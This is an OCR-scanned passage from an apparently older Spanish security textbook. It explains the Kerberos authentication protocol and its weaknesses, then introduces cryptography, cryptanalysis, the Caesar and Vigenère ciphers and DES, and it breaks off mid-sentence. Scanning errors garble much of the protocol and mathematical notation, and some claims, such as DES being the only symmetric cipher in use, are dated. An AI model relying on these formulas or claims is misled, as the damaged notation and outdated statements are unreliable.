Kerberos se ha convertido desde entonces en un referente obligatorio a la lrora de lrablar de se- 
guridad en redes. Se encuentra disponible para la mayoria de sistemas Unix, y viene integrado con 
OSF/DCE ( Distributed Computing Environment). Esta especialmente recomendado para sistemas 
operativos distribuidos, en los que la autenticacion es una pieza fundamental para su funcionamien- 
to: si conseguimos que un servidor logre conocer la identidad de un cliente puede decidir sobre 
la concesion de un servicio o la asignacion de privilegios especiales. Sigue vigente en la actuali- 
dad (en su version V a la hora de escribir este trabajo), a pesar del tiempo transcurrido desde 
su diseiio; ademas fue el pionero de los sistemas de autenticacion para sistemas en red, y muchos 
otros disehados posteriormente, como KryptoKnight ([MTHZ92], [JTY97]...), SESAME ([PPK93]) 
o Charon ([Atk93]) se basan en mayor o menor medida en Kerberos. 

El uso de Kerberos se produce principalmente en el login, en el acceso a otros servidores (por 
ejemplo, mediante rlogin) y en el acceso a sistemas de ficheros en red como NFS. Una vez que un 
cliente esta autenticado o bien se asume que todos sus mensajes son hables, o si se desea mayor 
seguridad se puede elegir trabajar con mensajes seguros (autenticados) o privados (autenticados y 
cifrados). Kerberos se puede implementar en un servidor que se ejecute en una maquina segura, 
mediante un conjunto de bibliotecas que utilizan tanto los clientes como las aplicaciones; se trata 
de un sistema facilmente escalable y que admite replication, por lo que se puede utilizar incluso 
en sistemas de alta disponibilidad (aunque como veremos al final del capitulo esta fuertemente 
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centralizado) . 


13.2 Arquitectura de Kerberos 

Un servidor Kerberos se denomina KDC ( Kerberos Distribution Center), y provee de dos servicios 
fundamentales: el de autenticacion (AS, Authentication Service) y el de tickets (TGS, Ticket Gran- 
ting Service). El primero tiene como funcion autenticar inicialmente a los clientes y proporcionarles 
un ticket para comunicarse con el segundo, el servidor de tickets, que proporcionara a los clientes 
las credenciales necesarias para comunicarse con un servidor final que es quien realmente ofrece un 
servicio. Ademas, el servidor posee una base de datos de sus clientes (usuarios o programas) con 
sus respectivas claves privadas, conocidas unicamente por dicho servidor y por el cliente que al que 
pertenece. 

La arquitectura de Kerberos esta basada en tres objetos de seguridad: Clave de Sesion, Ticket 
y Autenticador. 

• La clave de sesion es una clave secreta generada por Kerberos y expedida a un cliente para 
uso con un servidor durante una sesion; no es obligatorio utilizarla en toda la comunicacion con 
el servidor, solo si el servidor lo requiere (porque los datos son confidenciales) o si el servidor 
es un servidor de autenticacion. Se suele denominar a esta clave Kqs , para la comunicacion 
entre un cliente C y un servidor S. 

Las claves de sesion se utilizan para minimizar el uso de las claves secretas de los diferentes 
agentes: estas ultimas son validas durante mucho tiempo, por lo que es conveniente para 
minimizar ataques utilizarlas lo menos posible. 

• El ticket es un testigo expedido a un cliente del servicio de tickets de Kerberos para solicitar 
los servicios de un servidor; garantiza que el cliente ha sido autenticado recientemente. A 
un ticket de un cliente C para acceder a un servicio S se le denomina {ticket(C, S)}k s = 
{C, S, t\, < 2 i Kcs}k s - Este ticket incluye el nombre del cliente C, para evitar su posible uso 
por impostores, un periodo de validez [ti , ^ 2 ] y una clave de sesion Kqs asociada para uso de 
cliente y servidor. Kerberos siempre proporciona el ticket ya cifrado con la clave secreta del 
servidor al que se le entrega. 

• El autenticador es un testigo construido por el cliente y enviado a un servidor para probar 
su identidad y la actualidad de la comunicacion; solo puede ser utilizado una vez. Un auten- 
ticador de un cliente C ante un servidor S se denota por {auth(C)}K C s = { C,t}K cs ■ Este 
autenticador contiene, cifrado con la clave de la sesion, el nombre del cliente y un timestamp. 


Kerberos sigue de cerca el protocolo de Needham y Schroeder ([NS78]) con clave secreta, utilizan- 
do timestamps como pruebas de frescura con dos propositos: evitar reenvfos de viejos mensajes 
capturados en la red o la reutilization de viejos tickets obtenidos de zonas de memoria del usuario 
autorizado, y a la vez poder revocar a los usuarios los derechos al cabo de un tiempo. 

13.3 Autenticacion 

El protocolo de autenticacion de Kerberos es un proceso en el que diferentes elementos colaboran 
para conseguir identificar a un cliente que solicita un servicio ante un servidor que lo ofrece; este 
proceso se realiza en tres grandes etapas que a continuation se describen. En la tabla 13.1 se 
muestran las abreviaturas utilizadas, y en la figura 13.1 un resumen grafico de este protocolo. 

13.3.1 Login 

Inicialmente el cliente C (en este caso el usuario a traves del programa login) necesita obtener las 
credenciales necesarias para acceder a otros servicios. Para ello cuando un usuario conecta a un 
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c 

Cliente que solicita un servicio 

s 

Servidor que ofrece dicho servicio 

A 

Servidor de autenticacion 

T 

Servidor de tickets 

K c 

Clave secreta del cliente 

K s 

Clave secreta del servidor 

Kt 

Clave secreta del servidor de tickets 

K CT 

Clave de sesion entre el cliente y el servidor de tickets 

K cs 

Clave de sesion entre cliente y servidor 


Tabla 13.1: Abreviaturas utilizadas. 


sistema Unix ‘kerberizado’ teclea en primer lugar su nombre de usuario, de la misma forma que en un 
sistema habitual; la diferencia esta en que el programa login envfa el nombre de usuario al servidor 
de autenticacion de Kerberos para solicitar un ticket que le permita comunicarse posteriormente con 
el servidor de tickets, TGS: 

C -► A : C, T,N 

Si el usuario es conocido, el servidor de autenticacion retorna un mensaje que contiene una clave 
para la comunicacion con TGS y un timestamp cifrado con la clave secreta del cliente, junto un 
ticket para la comunicacion con TGS cifrado con la clave secreta de este servidor: 

A — > C : {Kct, N}k c i {ticket{C ,T )} Kt 

El programa de login intentara clescifrar {Kct, N}k c , con la clave que el usuario proporciona, y 
si esta es correcta podra obtener Kqt y N: un cliente solo podra descifrar esta parte del mensaje 
si conoce su clave secreta, Kq (en este caso el password). Una vez obtenida Kct, la clave para 
comunicar al cliente con el servidor de tickets, el programa passwd la guarda para una posterior 
comunicacion con el TGS y borra la clave del usuario de memoria, ya que el ticket sera suficiente 
para autenticar al cliente; este modelo consigue que el password nunca viaje por la red. 

13.3.2 Obtencion de tickets 

El cliente ya posee una clave de sesion para comunicarse con el servidor de tickets y el ticket necesario 
para hacerlo, cifrado con la clave secreta de este servidor (el cliente no puede descifrar este ticket). 
Cuando el cliente necesita acceder a un determinado servicio es necesario que disponga de un ticket 
para hacerlo, por lo que lo solicita al TGS enviandole un autenticador que el propio cliente genera, 
el ticket de T y el nombre del servicio al que desea acceder, S, y un indicador de tiempo: 

C — > T : {auth{C)} k C t > {ticket(C, T)}k t , S , N 

Cuando TGS recibe el ticket comprueba su validez y si todo es correcto retorna un mensaje que 
contiene una clave para comunicacion con S y un timestamp cifrado con la clave de sesion del par 
CT, junto a un ticket para que el cliente C y el servidor S se puedan comunicar cifrado con la clave 
secreta del servidor: 

T — > C : {Kcs, N}k ct , {ticket(C, S)}k s 
C solo podra obtener Kqs si conoce la clave secreta, Kct- 

13.3.3 Peticion de servicio 

Tras obtener el ticket para comunicarse con S el cliente ya esta preparado para solicitar el servicio; 
para ello presenta la credential autenticada ante el servidor final, que es quien va a prestar el servicio. 
C se comporta de la misma forma que cuando solicito un ticket a T : envfa a S el autenticador recien 
generado, el ticket y una peticion que puede ir cifrada si el servidor lo requiere, aunque no es 


necesario: 
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C— ►A 
A — ► C 


C — ► T 
T — ► C 


C — ► S 
S — ► C 


C, T, N 



$ K p T , N 


•ticket (C, Tn 



2 



3 



Figura 13.1: Protocolo de autenticacion Kerberos. 

C — > S : {auth(C)} k cs , {ticket (C,T)} k s , peticion , N 
El servidor envi'a entonces al cliente la prueba de actualidad cifrada con la clave secreta de la sesion: 

S - C : {N} Kcs 

Solo S pudo obtener Kcs y por tanto enviar este mensaje. 


13.4 Problemas de Kerberos 

A la vista de todo lo comentado en los puntos anteriores puede darnos la impresion de que Kerbe- 
ros es la panacea de los sistemas de autenticacion. Sin embargo, y aunque se trate de un sistema 
robusto, no esta exento de ciertos problemas, tanto de seguridad como de implementation, que han 
hecho que este sistema no este todo lo extendido que deberia. 

Uno de los principales problemas de Kerberos es que cualquier programa que lo utilice ha de ser 
modificado para poder funcionar correctamente, siguiendo un proceso denominado ‘kerberization’. 
Esto implica obviamente que se ha de disponer del codigo fuente de cada aplicacion que se desee 
kerberizar, y tambien supone una inversion de tiempo considerable para algunas aplicaciones mas 
o menos complejas que no todas las organizaciones se pueden permitir. 

El problema anterior es simplemente de implementation; no afecta para nada a la seguridad 
o inseguridad - del protocolo. Un problema que si esta relacionado con la seguridad de Kerberos es 
la gran centralization que presenta el sistema. Para un correcto funcionamiento se ha de disponer 
en todo momento del servidor Kerberos , de forma que si la maquina que lo alberga falla, la red 
se convierte en inutilizable; obviamente esto es una contradiction con lo que nos dice la teoria de 
sistemas distribuidos, donde se recalca el uso de la distribution para mantener la disponibilidad 
del sistema, intentado que si un equipo falla el resto pueda seguir funcionando, si no a pleno ren- 
dimiento, al menos correctamente. Por si esto no fuera suficiente, otro ejemplo de la centralization 
de Kerberos reside en el hecho de que casi toda la seguridad reside en el servidor que mantiene la 
base de datos de claves, de forma que si este se ve comprometido, la red entera esta amenazada. 
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Otro potential problema de seguridad es el uso de timestamps como pruebas de frescura en Ker- 
beros. Esto obliga a que todas las maquinas que ejecutan servicios autenticados mantengan sus 
relojes mmimamente sincronizados (con desfases maximos de pocos minutos), con todo lo que esto 
implica. Ademas ese tiempo global ha de ser accesible a todas las estaciones; aunque en el diseho 
no se asume que todas mantengan la hora exacta, si que se les obliga a mantenerse clentro de los 
margenes si desean solicitar tickets , para lo que se necesitan servidores de tiempo con los que los 
clientes puedan sincronizar periodicamente sus relojes, por ejemplo cada vez que arrancan. 

Todos estos problemas, y algunos mas ([BM91]) que se han ido solucionando en diferentes ver- 
siones del sistema, han propiciado que el uso de Kerberos no este muy extendido; en la mayoria de 
redes es suficiente con un protocolo de comunicacion cifrado para mantener una minima seguridad, 
de forma que el complejo modelo de Kerberos se ve sustituido a ese efecto por programas tan simples 
y transparentes como SSH. 
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14.1 Introduction 

En el mundo real , si una universidad quiere proteger los expedientes de sus alumnos los guardara 
en un armario ignifugo, bajo Have y vigilado por guardias, para que solo las personas autorizadas 
puedan acceder a ellos para leerlos o modificarlos; si queremos proteger nuestra correspondencia 
de curiosos, simplemente usamos un sobre; si no queremos que nos roben dinero, lo guardamos en 
una caja fuerte. . . Lamentablemente, en una red no disponemos de todas estas medidas que nos 
parecen habituales; la principal (podriamos decir unica) forma de protection va a venir de la mano 
de la criptografia. El cifrado de los datos nos va a permitir desde proteger nuestro correo perso- 
nal para que ningun curioso lo pueda leer, hasta controlar el acceso a nuestros archivos de forma 
que solo personas autorizadas puedan examinar (o lo que quizas es mas importante, modificar) su 
contenido, pasando por proteger nuestras claves cuando conectamos a un sistema remoto o nues- 
tros datos bancarios cuando realizamos una compra a traves de Internet. Hemos presentado con 
anterioridad algunas aplicaciones que utilizan de una u otra forma la criptografia para proteger 
nuestra information; aqui intentaremos dar unas bases teoricas minimas sobre terminos, algorit- 
mos, funciones. . . utilizadas en ese tipo de aplicaciones. Para mas referencias es imprescindible 
la obra [Sch94] ; otras publicaciones interesantes son [MvOV96], [Den83], [Sal90] y, para temas de 
criptoanalisis, [otUAH90]. Un texto basico para aquellos que no disponen de mucho tiempo o que 
solo necesitan una perspectiva general de la criptografia puede ser [Cab96] . 

La criptologfa (del griego krypto y logos, estudio de lo oculto, lo escondido) es la ciencia 1 que 
trata los problemas teoricos relacionados con la seguridad en el intercambio de mensajes en clave 
entre un emisor y un receptor a traves de un canal de comunicaciones (en terminos informaticos, 
ese canal suele ser una red de computadoras) . Esta ciencia esta dividida en dos grandes ramas: la 
criptografia, ocupada del cifrado de mensajes en clave y del diserio de criptosistemas (hablaremos 
de estos mas adelante), y el criptoanalisis, que trata de clescifrar los mensajes en clave, rompiendo 
asi el criptosistema. En lo sucesivo nos centraremos mas en la criptografia y los criptosistemas que 
en el criptoanalisis, ya que nos interesa, mas que romper sistemas de cifrado (lo cual es bastante 
complicado cuando trabajamos con criptosistemas serios), el saber como funcionan estos y conocer 
el diseiio elemental de algunos sistemas seguros. 

La criptografia es una de las ciencias consideradas como mas antiguas, ya que sus origenes se 
remontan al nacimiento de nuestra civilization. Su uso original era el proteger la confidenciali- 
dad de informaciones militares y politicas, pero en la actualidad es una ciencia interesante no solo 
en esos circulos cerrados, sino para cualquiera que este interesado en la confidencialidad de unos 
determinados datos: actualmente existe multitud de software y hardware destinado a analizar y 
monitorizar el trafico de datos en redes de computadoras; si bien estas herramientas constituyen un 

1 Hemos de dejar patente que la criptologfa es una ciencia , aunque en muchos lugares aun se la considera un arte; 
por ejemplo, en el Diccionario de la Real Academia de la Lengua Espanola. 
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avance en tecnicas de seguridad y protection, su uso indebido es al mismo tiempo un grave proble- 
ma y una enorme fuente de ataques a la intimidad de los usuarios y a la integridad de los propios 
sistemas. Aunque el objetivo original de la criptografia era mantener en secreto un mensaje, en la 
actualidad no se persigue unicamente la privacidad o confidencialidad de los datos, sino que se 
busca ademas garantizar la autenticacion de los mismos (el emisor del mensaje es quien dice ser, 
y no otro), su integridad (el mensaje que leemos es el mismo que nos enviaron) y su no repudio 
(el emisor no puede negar el haber enviado el mensaje). 

Podemos dividir la historia de la criptografia en tres periodos fundamentales; hasta mediados de 
siglo, tenemos la criptologia precientifica, considerada no una ciencia sino mas bien un arte. En 
1949, Shannon logro cimentar la criptografia sobre unas bases matematicas ([Sha49]), comenzando 
el periodo de la criptografia cientifica. Poco mas de diez anos despues se comenzo a estudiar la 
posibilidad de una comunicacion secreta sin que ambas partes conocieran una clave comun (hasta 
ese momento la existencia de dicha clave era la base de toda la seguridad en el intercambio de 
information) , de forma que esos estudios dieron lugar a di versos articulos sobre el tema durante la 
decada de los setenta ([E1170], [Coc73], [Wil74], [Wil76]. . .). Finalmente, en 1976 Diffie y Heilman 
publicaron sus trabajos sobre criptografia de clave publica ([DH76]), dando lugar al periodo de 
criptografia de clave publica, que dura hasta la actualidad. 


14.2 Criptosistemas 

Matematicamente, podemos definir un criptosistema como una cuaterna de elementos {A, /C, £, 2?}, 
formada por: 

• Un conjunto finito llamado alfabeto, A , a partir del cual, y utilizando ciertas normas sin- 
tacticas y semanticas, podremos emitir un mensaje en claro ( plain text ) u obtener el texto en 
claro correspondiente a un mensaje cifrado ( cipher text). Frecuentemente, este alfabeto es el 
conjunto de los enteros modulo q, Z q , para un q £ Af dado. 

• Otro conjunto finito denominado espacio de claves, /C, formado por todas las posibles claves, 
tanto de cifrado como de descifrado, del criptosistema. 

• Una familia de aplicaciones del alfabeto en si mismo, £ : A — > A, llamadas transformaciones 
de cifrado. El proceso de cifrado se suele representar como 

£(k,a)=c, 

clonde k£lC, a£Ayc£A. 

• Otra familia de aplicaciones del alfabeto en si mismo, V : A — > A, llamadas transforma- 
ciones de descifrado. Analogamente al proceso de cifrado, el de descifrado se representa 
como 


T>(k' , c ) = m, 


clonde k' £ 1C, c £ A y m £ A. 

Muchos autores dividen a su vez un miembro de esta cuaterna, el alfabeto, en dos espacios dife- 
rentes: el espacio de mensajes, A4, formado por los textos en claro que se pueden formar con el 
alfabeto, y el espacio de cifrados, C, formado por todos los posibles criptogramas que el cifrador es 
capaz de producir. Sin embargo, lo habitual es que tanto el texto en claro como el cifrado pertene- 
cezcan al alfabeto, por lo que hemos preferido no hacer distinciones entre uno y otro, agrupandolos 
en el conjunto A para simplificar los conceptos que presentamos. Asi, un criptosistema presenta la 
estructura mostrada en la figura 14.1. 
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Figura 14.1: Estructura de un criptosistema 


El emisor emite un texto en claro, que es tratado por un cifrador con la ayuda de una cierta clave, k, 
creando un texto cifrado (criptograma). Este criptograma llega al descifrador a traves de un canal 
de comunicaciones (como hemos dicho antes, para nosotros este canal sera habitualmente algiin 
tipo de red). El descifrador convierte el criptograma de nuevo en texto claro, apoyandose ahora 
en otra clave, k' (veremos mas adelante que esta clave puede o no ser la misma que la utilizada 
para cifrar), y este texto claro ha de coincidir con el emitido inicialmente para que se cumplan 
los principios basicos de la criptografia moderna. En este hecho radica toda la importancia de los 
criptosistemas. 

Es obvio, a la vista de lo expuesto anteriormente, que el elemento mas importante de todo el 
criptosistema es el cifrador, que ha de utilizar el algoritmo de cifrado para convertir el texto claro 
en un criptograma. Usualmente, para hacer esto, el cifrador depende de un parametro exterior, 
llamado clave de cifrado (o de descifrado, si hablamos del descifrador) que es aplicado a una 
funcion matematica irreversible (al menos, computacionalmente) : no es posible invertir la funcion 
a no ser que se disponga de la clave de descifrado. De esta forma, cualquier conocedor de la clave 
(y, por supuesto, de la funcion), sera capaz de descifrar el criptograma, y nadie que no conozca 
dicha clave puede ser capaz del descifrado, aun en el caso de que se conozca la funcion utilizada. 


14.3 Clasificacion de los criptosistemas 

La gran clasificacion de los criptosistemas se hace en funcion de la disponibilidad de la clave de 
cifrado/descifrado. Existen, por tanto, clos grandes grupos de criptosistemas: 


14.3.1 Criptosistemas de clave secreta 

Denominamos criptosistema de clave secreta (de clave privada, de clave linica o simetrico) a aquel 
criptosistema en el que la clave de cifrado, /C, puede ser calculada a partir de la de descifrado, 
1C, y viceversa. En la mayoria de estos sistemas, ambas claves coinciden, y por supuesto han de 
mantenerse como un secreto entre emisor y receptor: si un atacante descubre la clave utilizada en 
la comunicacion, ha roto el criptosistema. 

Hasta la decada de los setenta, la invulnerabilidad de todos los sistemas dependfa de este man- 
tenimiento en secreto de la clave de cifrado. Este hecho presentaba una gran desventaja: habia que 
enviar, aparte del criptograma, la clave de cifrado del emisor al receptor, para que este fuera capaz 
de descifrar el mensaje. Por tanto, se incurria en los mismos peligros al enviar la clave, por un 
sistema que habia de ser supuestamente seguro, que al enviar el texto piano. De todos los sistemas 
de clave secreta, el unico que se utiliza en la actualidad es DES ( Data Encryption Standard , que 
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veremos mas adelante) . Otros algoritmos de clave privada, como el cifrado Caesar o el criptosistema 
de Vigenere (seran tambien brevemente comentados mas adelante) han sido criptoanalizados con 
exito, lo cual da una idea del porque del desuso en que han caido estos sistemas (con la exception 
de DES, que es seguramente el algoritmo de cifra mas utilizado en la actualidad). Por si esto no 
fuera suficiente, el hecho de que exista al menos una clave de cifrado/descifrado entre cada dos 
usuarios de un sistema haria inviable la existencia de criptosistemas simetricos en las grandes redes 
de computadores de hoy en dia: para un sistema de computation con N usuarios, se precisarian 
N ^ N ^ 1 ') claves diferentes, lo cual es obviamente imposible en grandes sistemas. Todos estos motivos 
han propiciado que el estudio de los cifradores simetricos (excepto DES) quede relegado a un papel 
historico. 

Los sistemas de cifrado de clave unica se dividen a su vez en dos grandes grupos de criptosis- 
temas: por una parte tenemos los cifradores de flujo, que son aquellos que pueden cifrar un solo 
bit de texto claro al mismo tiempo, y por tanto su cifrado se produce bit a bit, y por otro lado 
tenemos los cifradores de bloque, que cifran un bloque de bits (habitualmente, cada bloque es 
de 64 bits) como una unica unidad. 

14.3.2 Criptosistemas de clave publica 

Como hemos dicho en la introduction, en 1976, Whitfield Diffie y Martin Heilman, de la Univer- 
sidad de Stanford, demostraron la posibilidad de construir criptosistemas que no precisaran de la 
transferencia de una clave secreta en su trabajo [DH76]. Esto motivo multitud de investigaciones 
y discusiones sobre la criptograffa de clave publica y su impacto, hasta el punto que la NSA (Na- 
tional Security Agency) estadounidense trato de controlar el desarrollo de la criptograffa, ya que la 
consideraban una amenaza peligrosa para la seguridad national. Esta polemica ha llegado incluso 
hasta nuestros dfas, en los que el affaire Zimmermann (el autor de PGP) o el Clipper Chip han 
llenado portadas de periodicos de todo el mundo. 

Veamos ahora en que se basan los criptosistemas de clave publica. En estos, la clave de cifra- 
do se hace de conocimiento general (se le llama clave publica). Sin embargo, no ocurre lo mismo 
con la clave de descifrado (clave privada), que se ha de mantener en secreto. Ambas claves no 
son independientes, pero del conocimiento de la publica no es posible deducir la privada sin ningun 
otro dato (recordemos que en los sistemas de clave privada sucedfa lo contrario). Tenemos pues 
un par clave publica-clave privada; la existencia de ambas claves diferentes, para cifrar o descifrar, 
hace que tambien se conozca a estos criptosistemas como asimetricos. 

Cuando un receptor desea recibir una information cifrada, ha de hacer llegar a todos los po- 
tentiates emisores su clave publica, para que estos cifren los mensajes con dicha clave. De este 
modo, el linico que podra descifrar el mensaje sera el legftimo receptor, mediante su clave privada. 
Matematicamente, si £ es el algoritmo cifrador y T> el descifrador, se ha de cumplir que 

V(k,£(k',M)) = M, 

representando A4 un mensaje, y siendo k y k' las claves de descifrado y cifrado, respectivamente. 


14.4 Criptoanalisis 

El criptoanalisis es la ciencia opuesta a la criptograffa (quizas no es muy afortunado hablar de 
ciencias opuestas, sino mas bien de ciencias complementarias) , ya que si esta trata principalmente 
de crear y analizar criptosistemas seguros, la primera intenta romper esos sistemas, demostrando 
su vulnerabilidad; es decir, trata de descifrar los criptogramas. El termino descifrar siempre va 
acompanado de discusiones de caracter tecnico, aunque asumiremos que descifrar es conseguir el 
texto en claro a partir de un criptograma, sin entrar en polemicas de reversibilidad y solidez de 
criptosistemas. 
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En el analisis para establecer las posibles debilidades de un sistema de cifrado, se han de asumir las 
denominadas condiciones del peor caso: (1) el criptoanalista tiene acceso complete al algoritmo de 
encriptacion, (2) el criptoanalista tiene una cantidad considerable de texto cifrado, y (3) el criptoa- 
nalista conoce el texto en claro de parte de ese texto cifrado. Tambien se asume generalmente el 
Principio de Kerckhoffs, que establece que la seguridad del cifrado ha de residir exclusivamente 
en el secreto de la clave, y no en el mecanismo de cifrado. 

Aunque para validar la robustez de un criptosistema normalmente se suponen todas las condiciones 
del peor caso, existen ataques mas especfficos, en los que no se cumplen todas estas condiciones. 
Cuando el metodo de ataque consiste simplemente en probar todas y cada una de las posibles 
claves del espacio de claves hasta encontrar la correcta, nos encontramos ante un ataque de fuerza 
bruta o ataque exhaustivo. Si el atacante conoce el algoritmo de cifrado y solo tiene acceso al 
criptograma, se plantea un ataque solo al criptograma. Un caso mas favorable para el criptoa- 
nalista se produce cuando el ataque cumple todas las condiciones del peor caso; en este caso, el 
criptoanalisis se denomina de texto en claro conocido. Si ademas el atacante puede cifrar una 
cantidad indeterminada de texto en claro al ataque se le denomina de texto en claro escogido; 
este es el caso habitual de los ataques contra el sistema de verification de usuarios utilizado por 
Unix, donde un intruso consigue la tabla de contrasenas (generalmente /etc/passwd) y se limita a 
realizar cifrados de textos en claro de su eleccion y a comparar los resultados con las claves cifradas 
(a este ataque tambien se le llama de diccionario, debido a que el atacante suele utilizar un fichero 
‘diccionario’ con los textos en claro que va a utilizar). El caso mas favorable para un analista se 
produce cuando puede obtener el texto en claro correspondiente a criptogramas de su eleccion; en 
este caso el ataque se denomina de texto cifrado escogido. 

Cualquier algoritmo de cifrado, para ser considerado seguro, ha de soportar todos estos ataques 
y otros no citados; sin embargo, en la criptografia, como en cualquier aspecto de la seguridad, 
informatica o no, no debemos olvidar un factor muy importante: las personas. El sistema mas 
robusto caera fatilmente si se tortura al emisor o al receptor hasta que desvelen el contenido del 
mensaje, o si se le ofrece a uno de ellos una gran cantidad de dinero; este tipo de ataques (sobornos, 
amenazas, extorsion, tortura. . . ) se consideran siempre los mas efectivos. 


14.5 Criptografia clasica 

14.5.1 El sistema Caesar 

El cifrado Caesar (o Cesar) es uno de los mas antiguos que se conocen. Debe su nombre al em- 
perador Julio Cesar, que presuntamente lo utilizo para establecer comunicaciones seguras con sus 
generales durante las Guerras Galicas. 

Matematicamente, para trabajar con el cifrado Caesar, tomamos el alfabeto A = Z m (enteros 
de modulo m). Cuando a y b son primos entre si, la aplicacion fix) = ax + b, a 0, recibe el 
nombre de codification modulo m con parametros a , &; el par (a, b) es la clave de este criptosistema. 

Asi, trabajando con el alfabeto ingles (para nosotros resulta conveniente tomar este alfabeto, de 
uso mas extendido en informatica que el espahol; la unica diferencia radica en el uso de la letra n), 
podemos tomar el alfabeto definido por Zi§. Asignamos a cada letra (a..z) un entero modulo 26, 
de la siguiente forma: 
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El cifrado Caesar siempre utiliza la clave (l,b), es decir, siempre tomaremos a=l. De esta forma, 
la anterior aplicacion quedara f(x)=x+b, lo cual se traduce sencillamente en que para encriptar 
una letra hemos de tomar su entero correspondiente y sumarle b (la clave del criptosistema) para 
obtener el texto cifrado. Analogamente, y gracias al hecho que f(x) siempre ha de ser biyectiva, 
independientemente del valor de b, para descifrar un texto tomamos la funcion inversa, clefinida 
por f _1 (x)=x-b. Veamos un sencillo ejemplo, en el que se toma b=4: queremos cifrar, con la clave 
(1,4), la palabra CESAR ; tomando el valor de cada letra, tenemos el equivalente numerico de la 
palabra: 


2 4 18 0 17 


Aplicamos a cada numero la funcion f(x)=x+4 para obtener 


6 8 22 4 21 


que retornado al alfabeto ingles, sustituyendo cada valor por su equivalente, queda GIWEV. 


Ahora, con la misma clave (1,4), buscamos descifrar FVYXYW. El valor de cada letra es 


5 21 

24 

23 

24 

22 

Tomando f _1 (x)=x-4, tenemos el resultado 

1 17 

20 

19 

20 

18 


que retornado al alfabeto ingles significa BRUTUS , texto piano equivalente al cifrado FVYXYW. 


Si en el cifrado de un mensaje obtuvieramos que f(x)>25 (genericamente, f(x)>m-l), como tra- 
bajamos con enteros de modulo m, deberiamos dividir f(x) por m, considerando el resto entero 
como la cifra adecuada. Asi, si f(x)=26, tomamos mod(26,26)=0 (el resto de la division entera), 
por lo que situariamos una A en el texto cifrado. 


Es obvio que el cifrado Caesar tiene 26 claves diferentes (utilizando el alfabeto ingles), incluyendo la 
clave de identidad (b=0), caso en el que el texto cifrado y el texto en claro son identicos. Asi pues, 
no resultaria muy dificil para un criptoanalista realizar un ataque exhaustivo, buscando en el texto 
cifrado palabras en claro con significado en el lenguaje utilizado. Por tanto, este criptosistema es 
claramente vulnerable para un atacante, no ofreciendo una seguridad fiable en la transmision de 
datos confidenciales. 


14.5.2 El criptosistema de Vigenere 

El sistema de cifrado de Vigenere (en honor al criptografo frances del mismo nombre) es un sistema 
polialfabetico o de sustitucion multiple. Este tipo de criptosistemas aparecieron para sustituir a los 
monoalfabeticos o de sustitucion simple, basados en el Caesar, que presentaban ciertas debilidades 
frente al ataque de los criptoanalistas relativas a la frecuencia de aparicion de elementos del alfabe- 
to. El principal elemento de este sistema es la llamada Tabla de Vigenere, una matriz de caracteres 
cuadrada, con dimension 26x26, que se muestra en la tabla 14.1. 

La clave del sistema de cifrado de Vigenere es una palabra de k letras, k>l siempre, del alfabeto 
Z 26 utilizado anteriormente. Esta palabra es un elemento del producto cartesiano Z 26 XZ 26 X...XZ 26 
(k veces), que es justamente el alfabeto del Criptosistema de Vigenere. De esta forma, el mensaje a 
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Tabla 14.1: Tableau Vigenere 
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cifrar en texto claro ha de descomponerse en bloques de k elementos -letras- y aplicar sucesivamente 
la clave empleada a cada uno de estos bloques, utilizando la tabla anteriormente proporcionada. 

Veamos un sencillo ejemplo: queremos codificar la frase La abrumadora soledad del programa- 
dor utilizando la clave prueba. En primer lugar, nos fijamos en la longitud de la clave: es de seis 
caracteres. Asi, clescomponemos la frase en bloques de longitud seis; aunque el ultimo bloque es de 
longitud tres, esto no afecta para nada al proceso de cifrado: 

laabru madora soleda ddelpr ograma dor 

Ahora, aplicamos a cada bloque la clave prueba y buscamos los resultados como entradas de la tabla 
de Vigenere: 


laabru 

madora 

soleda 

ddelpr 

ograma 

dor 

prueba 

prueba 

prueba 

prueba 

prueba 

pru 

aruf su 

brxhsa 

igfiea 

suyoqr 

exmena 

sgm 


Por ejemplo, la primera a del texto cifrado corresponde a la entrada (l,p), o, equivalentemente, (p,l) 
de la tabla de Vigenere. Finalmente, vemos que el texto cifrado ha quedado arufsu brxhsa igfiea 
suyoqr exmena sgm. 

Este metodo de cifrado polialfabetico se consideraba invulnerable hasta que en el S.XIX se consi- 
guieron descifrar algunos mensajes codificados con este sistema, mediante el estudio de la repeticion 
de bloques de letras: la distancia entre un bloque y su repeticion suele ser multiplo de la palabra 
tomada como clave. 

Una mejora sobre el cifrado de Vigenere fue introducida por el sistema de Vernam, utilizando 
una clave aleatoria de longitud k igual a la del mensaje. La confianza en este nuevo criptosistema 
hizo que se utilizase en las comunciaciones confidenciales entre la Casa Blanca y el Kremlin, hasta, 
por lo menos, el aho 1987. 


14.6 Un criptosistema de clave secreta: DES 

El DEA ( Data Encryption Algorithm ) o DES ( Data Encryption Standard) es desde 1977 de uso 
obligatorio en el cifrado de informaciones gubernamentales no clasificadas (anunciado por el Natio- 
nal Bureau of Standards, USA). Este criptosistema fue desarrollado por IBM como una variation 
de un criptosistema anterior, Lucifer, y posteriormente, tras algunas comprobaciones llevadas a 
cabo por la NS A estadounidense, paso a transformarse en el que hoy conocemos como DES. Este 
criptosistema puede ser implementado tanto en software como en chips con tecnologia VLSI ( Very 
Large Scale Integration), alcanzando en hardware una velocidad de hasta 50 Mbs. Un ejemplo de 
implantacion hard puede ser PC-Encryptor, de Eracom, y un ejemplo de implantacion en software 
es DES-LOCK, de la empresa Oceanics. 

DES es un sistema de clave privada tanto de cifrado como de descifrado. Posee una clave de 
entrada con una longitud de 64 bits, produciendo una salida tambien de 64 bits, con una clave de 
56 bits (el octavo bit de cada byte es de paridad), llamada clave externa, en la que reside toda la 
seguridad del criptosistema ya que el algoritmo es de clominio publico. Cada trozo de 64 bits de 
los datos se clesordena segun un esquema fijo a partir de una permutation initial conocida como 
IP. A continuation, se divide cada uno de los trozos en clos mitades de 32 bits, que se someten a 
un algoritmo durante 16 iteraciones. Este algoritmo basico que se repite 16 veces (llamadas vuel- 
tas), utiliza en cada una de ellas 48 de los 56 bits de la clave (estos 48 bits se denominan clave 
interna, diferente en cada vuelta). Estas claves internas se utilizan en un orden para cifrar texto 
(llamemoslas Ki, K 2 ,...,Ki 6 ) y en el orden inverso (Km,..., Ki) para descifrarlo. En cada una de 
las vueltas se realizan permutaciones, sustituciones no lineales (que constituyen en si el nucleo del 
algoritmo DES) y operaciones logicas basicas, como la XOR. La mitad derecha se transfiere a la 
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mitad izquierda sin ningun cambio; tambien se expande de 32 hasta 48 bits , utilizando para ello una 
simple duplication. El resultado final de una iteration es un XOR con la clave interna de la vuelta 
correspondiente. Esta salida se divide en bloques de 6 bits , cada uno de los cuales se somete a una 
